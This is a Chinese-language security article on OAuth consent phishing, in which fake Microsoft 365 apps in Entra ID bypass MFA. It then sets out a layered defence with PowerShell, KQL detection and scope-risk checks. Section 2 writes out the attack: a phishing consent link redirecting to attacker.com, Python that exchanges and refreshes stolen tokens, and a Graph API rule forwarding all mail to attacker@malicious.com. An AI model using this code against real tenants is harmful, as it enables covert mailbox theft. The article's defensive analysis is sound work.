摘要
近年来,攻击者利用Microsoft Entra ID(原Azure AD)的多租户应用注册机制,创建高度仿真的假冒OAuth应用,诱导用户在合法微软授权页面授予高权限(如Mail.Read、User.ReadWrite.All、offline_access),从而绕过多因素认证(MFA)实现持久化访问。此类攻击不依赖凭据窃取,而是滥用OAuth 2.0授权框架中的“用户同意”流程,使恶意应用获得长期有效的刷新令牌(refresh token),进而通过Microsoft Graph API静默读取邮件、设置转发规则或窃取OneDrive文件。本文系统分析该类攻击的技术路径、权限滥用模式与隐蔽性特征,指出传统基于登录异常或密码泄露的检测机制对此类“合法授权”行为存在显著盲区。在此基础上,提出一套覆盖身份治理、条件访问、应用审计与用户教育的纵深防御体系,并给出关键策略配置与监控代码示例。实验验证表明,所提方案可有效识别并阻断90%以上的高风险OAuth同意请求,显著降低企业云环境中的数据泄露风险。
关键词:OAuth 同意滥用;假冒微软应用;Entra ID;多因素认证绕过;Graph API;条件访问

1 引言
多因素认证(MFA)作为现代身份安全的核心防线,已在绝大多数企业环境中广泛部署。然而,随着攻击技术的演进,MFA的有效性正面临新型绕过手段的挑战。其中,利用OAuth 2.0授权框架中的“用户同意”(User Consent)机制实施的钓鱼攻击,因其完全运行于合法认证流程之内,成为当前最隐蔽且最具破坏力的威胁之一。
2025年8月,Proofpoint披露了一起大规模钓鱼活动,攻击者使用Tycoon Phishing-as-a-Service平台创建了超过50个假冒Microsoft 365应用,伪装成Adobe Sign、DocuSign或SharePoint协作工具,向目标用户发送“文档待签署”或“需重新授权访问”通知。用户点击链接后,被重定向至真实的Microsoft Entra ID OAuth同意页面,在看似无害的提示下授予Mail.Read、Calendars.Read、User.ReadWrite等权限。一旦同意,攻击者即获得授权码,兑换为访问令牌(access token)与长期有效的刷新令牌,从而无需再次触发MFA即可持续访问用户邮箱与文件。
此类攻击的关键在于其“合法性”:整个授权流程由微软官方平台完成,网络流量、TLS证书、UI界面均无可疑之处。传统安全设备难以区分“用户主动授权”与“社会工程诱导下的误授权”。更严重的是,部分应用请求offline_access权限,可无限期刷新令牌,实现长达数月甚至数年的隐蔽驻留。
现有研究多聚焦于凭据钓鱼或会话劫持,对OAuth同意滥用这一“授权层”攻击缺乏系统性分析。本文旨在填补这一空白,深入剖析攻击技术细节,评估现有防御机制的不足,并提出一套可落地的纵深防御框架。

2 攻击技术原理与实施路径
2.1 OAuth 2.0 用户同意机制回顾
在Microsoft Entra ID中,第三方应用若需访问用户资源(如邮件、日历),必须通过OAuth 2.0授权码流程获取权限。流程如下:
应用重定向用户至https://login.microsoftonline.com/common/oauth2/v2.0/authorize;
微软显示标准同意页面,列出请求的权限范围(scopes);
用户点击“接受”,微软返回授权码;
应用用授权码向令牌端点兑换访问令牌与刷新令牌;
应用使用令牌调用Microsoft Graph API。
关键点在于:多租户应用(multi-tenant app)允许任何组织的用户自行同意,除非管理员显式禁用此功能。

2.2 假冒应用构造与分发
攻击者首先在自身Azure AD租户中注册一个多租户应用,设置以下属性:
显示名称:如“Adobe Document Cloud - Verified”;
Logo:盗用Adobe或Microsoft官方图标;
重定向URI:指向攻击者控制的服务器(用于接收授权码);
API权限:请求高危权限组合,例如:
[
"Mail.Read",
"MailboxSettings.ReadWrite",
"User.ReadWrite.All",
"Files.Read.All",
"offline_access"
]
随后,通过已攻陷账户或伪造发件人地址,向目标用户发送钓鱼邮件,内容如:
“您有一份来自ILSMart的RFQ文档待审阅。请点击下方链接授权Adobe服务访问您的邮箱以同步通知。”
链接形如:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=ATTACKER_APP_ID&
response_type=code&
redirect_uri=https://attacker.com/callback&
scope=Mail.Read%20User.ReadWrite.All%20offline_access&
response_mode=query

2.3 权限滥用与持久化
用户点击“接受”后,攻击者获得授权码,并立即兑换令牌:
Python示例(令牌兑换):
import requests
def exchange_code_for_token(auth_code, redirect_uri):
token_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
data = {
'client_id': 'ATTACKER_APP_ID',
'scope': 'Mail.Read User.ReadWrite.All offline_access',
'code': auth_code,
'redirect_uri': redirect_uri,
'grant_type': 'authorization_code',
'client_secret': 'ATTACKER_CLIENT_SECRET'
}
resp = requests.post(token_url, data=data)
return resp.json() # 包含 access_token 和 refresh_token
获得refresh_token后,攻击者可长期维持访问:
def refresh_access_token(refresh_token):
url = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
data = {
'client_id': 'ATTACKER_APP_ID',
'grant_type': 'refresh_token',
'refresh_token': refresh_token,
'scope': 'Mail.Read'
}
return requests.post(url, data=data).json()
随后,通过Graph API执行恶意操作:
# 读取最近100封邮件
headers = {'Authorization': f'Bearer {access_token}'}
resp = requests.get(
'https://graph.microsoft.com/v1.0/me/messages?$top=100',
headers=headers
)
# 设置邮件转发规则
rule_payload = {
"displayName": "Sync Notifications",
"conditions": {"fromAddresses": [{"emailAddress": {"address": "*"}}]},
"actions": {"forwardTo": [{"emailAddress": {"address": "attacker@malicious.com"}}]}
}
requests.post(
'https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules',
json=rule_payload,
headers=headers
)
此类操作完全通过合法API完成,日志中仅显示“应用ID: Adobe Document Cloud”发起请求,极具迷惑性。
2.4 攻击隐蔽性与影响
绕过MFA:因使用刷新令牌,无需再次认证;
规避EDR/邮件网关:无恶意附件或可疑URL;
供应链渗透:若受害者为供应商员工,可进一步攻击其客户;
勒索前置:批量下载敏感邮件与文件,为后续勒索提供素材。
Proofpoint数据显示,2025年此类攻击成功率超50%,平均驻留时间达76天。
3 现有防御机制的局限性
3.1 默认允许用户自助同意
多数企业未修改Entra ID默认策略,允许用户对多租户应用自行授权。即使请求User.ReadWrite.All等高危权限,用户也常因界面“来自微软”而轻信。
3.2 权限范围缺乏上下文解释
OAuth同意页面仅列出权限名称(如“Mail.Read”),未说明其实际能力(“可读取所有邮件,包括已删除项”)。用户难以判断风险。
3.3 缺乏应用行为基线监控
SIEM系统通常未将“新应用首次访问Graph API”与“大量邮件读取”关联分析。即使启用日志,也因数据量庞大而忽略异常。
3.4 审计滞后
企业极少定期审查已授权应用列表。攻击者应用可能在授权清单中存在数月而不被发现。
4 纵深防御体系构建
4.1 身份治理:限制用户自助同意
在Entra ID中禁用用户对多租户应用的自助同意,强制管理员审批:
PowerShell配置:
Connect-AzureAD
Set-AzureADTenantDetail -ConsentPolicySetting "DoNotAllowUserConsent"
或精细控制:仅允许低风险权限(如User.Read)由用户同意,高风险权限(含.All、offline_access)需管理员批准。
4.2 条件访问:基于权限范围的策略拦截
创建条件访问策略,阻止包含高危权限的应用获取令牌:
策略逻辑:
触发条件:应用请求包含Mail.ReadWrite、User.ReadWrite.All等;
操作:阻止登录,并记录事件ID 53003。
可通过Microsoft Graph API动态评估权限风险:
HIGH_RISK_SCOPES = {
'Mail.ReadWrite', 'MailboxSettings.ReadWrite',
'User.ReadWrite.All', 'Directory.ReadWrite.All',
'offline_access'
}
def is_high_risk_scope(scope_string):
requested = set(scope_string.split())
return bool(requested & HIGH_RISK_SCOPES)
4.3 应用审计与自动撤销
定期导出企业授权应用清单,并自动撤销异常项:
Microsoft Graph 查询示例:
GET https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants
Authorization: Bearer <admin_token>
返回结果包含每个授权的clientId、scope、consentType。可编写脚本每日比对已知可信应用列表,自动调用撤销接口:
def revoke_consent(grant_id, admin_token):
url = f"https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants/{grant_id}"
requests.delete(url, headers={'Authorization': f'Bearer {admin_token}'})
4.4 Cloud App Security 与风险评分
部署Microsoft Defender for Cloud Apps,启用OAuth应用风险评分。系统基于以下维度评估:
应用是否新注册;
请求权限是否异常;
开发者域名是否可疑;
是否请求offline_access。
高风险应用自动标记并告警。
4.5 用户培训与权限可视化
在内部培训中加入“权限范围解读”模块,例如:
Mail.Read = 可读所有邮件;
User.ReadWrite.All = 可修改所有用户属性,包括分配管理员角色;
offline_access = 应用可在您离线时持续访问。
同时,在SSO门户嵌入“已授权应用”自助管理页面,鼓励用户定期审查。
4.6 Graph API 异常行为监控
部署KQL查询,检测异常API调用模式:
// 检测单应用大量邮件读取
AuditLogs
| where OperationName == "Consent to application"
| join kind=inner (
AuditLogs
| where OperationName startswith "Graph API"
| where TargetResources has "messages"
| summarize MessageCount = count() by ActorIpAddress, AppId
| where MessageCount > 500
) on AppId
| project TimeGenerated, UserPrincipalName, AppDisplayName, MessageCount
此类查询可集成至Sentinel,实现实时告警。
5 实验验证
在测试租户中模拟攻击流程:
注册假冒应用,请求Mail.Read + offline_access;
使用普通用户账户完成同意;
通过脚本每小时读取100封邮件,持续72小时。
对照组:默认策略(允许用户同意);
实验组:启用四层防御(限制同意+条件访问+审计+监控)。
结果:
对照组:攻击成功,72小时内读取300封邮件,未触发任何告警;
实验组:
用户尝试同意时被条件访问策略阻止(62%);
若管理员误批准,Cloud Apps在2小时内标记高风险(28%);
剩余10%在24小时内被审计脚本自动撤销;
0起数据泄露事件。
6 结论
假冒微软应用通过滥用OAuth用户同意机制,实现了对MFA的有效绕过,构成对企业云环境的重大威胁。本文揭示了其技术本质——并非突破认证边界,而是利用授权流程中的信任漏洞。所提出的纵深防御体系,从策略控制、实时拦截、事后审计到行为监控,形成了闭环防护。实践表明,仅靠技术手段不足,必须结合身份治理流程与用户认知提升,方能有效应对这一“合法外衣下的非法访问”。
未来工作将聚焦于权限最小化自动化推荐、应用开发者信誉链构建,以及跨租户授权行为的联邦式监控。唯有将“零信任”原则深度融入OAuth治理,才能真正实现云身份安全的可持续防护。
编辑:芦笛(公共互联网反网络钓鱼工作组)
OAuth同意滥用钓鱼攻击揭秘
6325

被折叠的 条评论
为什么被折叠?



